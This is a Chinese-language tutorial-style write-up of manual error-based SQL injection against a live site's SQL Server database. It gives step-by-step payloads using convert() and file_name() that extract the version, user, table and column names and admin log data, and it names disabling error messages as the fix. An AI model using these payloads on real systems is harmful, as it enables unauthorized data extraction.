前言
最近測試了一個站點,這個站點挺有意思,發現沒有關閉錯誤提示,初步猜測是SQL server資料庫,後來驗證確實是。在這裡記錄一下實戰過程,並詳細講解一下用到的知識點。
SQL server報錯注入原理
SQL server報錯注入的文章,網上有很多,大部分文章都列出了類似於公式的句子,卻沒有解釋為什麼使用這樣的函式。這裡用convert()
函式舉例,convert()
函式是是將日期轉換為新資料型別的通用函式。
對於我們們構造的payloadconvert(int,@@version)
,convert函式會先執行第二個引數指定的sql查詢,並嘗試轉化為int型別,因為查詢的結果是varchar型別,所以會轉化失敗報錯,報錯的資訊當中有我們們需要的資訊。
滿足這樣條件的函式很多,如:
convert() file_name() db_name() col_name()
還有一些其他的不列舉了。
發現注入點
之前猜測是SQL server資料庫,現在驗證一下,發現在輸入手機號的地方存在注入點,用sqlmap跑了一下沒跑出來,尷尬==,那就嘗試手工注入。構造payloadconvert(int,@@version)
,目的是查詢一下版本資訊。
發現是SQL server資料庫
查詢基本資訊
知道了版本,還需要查詢一下資料庫名,和當前使用者名稱(看看擁有多少許可權)。
payload:
convert(int,db_name()) convert(int,user)
獲取表名
這裡遇到了一點小問題,繼續使用convert()函式時,發現查詢的內容溢位了整數列。
這可如何是好,convert()無法使用了,所以我們們前面總結的實現相同功能的函式就派上用場了。這裡更換函式,使用file_name()
函式,構造payload:
(file_name((select%20 top 1 name from 庫名.sys.sysobjects where xtype='U')))
可以查詢出第一張表,這時候可以在後面加一個條件語句and name !='上一個表名'
,可以查詢出第二張表。
payload:
(file_name((select%20 top 1 name from 庫名.sys.sysobjects where xtype='U'and name !='上一個表名')))
如果想要查詢第三張表,再接著新增條件語句就可以了,可以查詢出所有的表。這裡就不演示了。
獲取列名
payload:
(file_name((select top 1 COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(16進製表名 as varchar))))
我們獲取到了第一個列名"編號",接下來依然再後面新增條件語句and COLUMN_NAME != '上一個列名'
就可以獲取到第二個列名。
payload:
(file_name((select top 1 COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(16進製表名 as varchar) and COLUMN_NAME != '上一個列名')))
按照這種方法同樣可以查詢出所有列名。這裡就不向下查詢了。
獲取資料
前面我們查詢到的表名有 S票據列印記錄``管理員操作記錄
而我們獲取了管理員操作記錄下的列名編號
和管理員編號
和操作內容
,下面我們查詢操作內容
下的資料。
payload:
(select top 1 列名 from 表名)
依然可以通過條件語句獲取到其他的資料,這裡就不在演示了。
SQL server報錯注入到此為止。
修復方案
關閉錯誤提示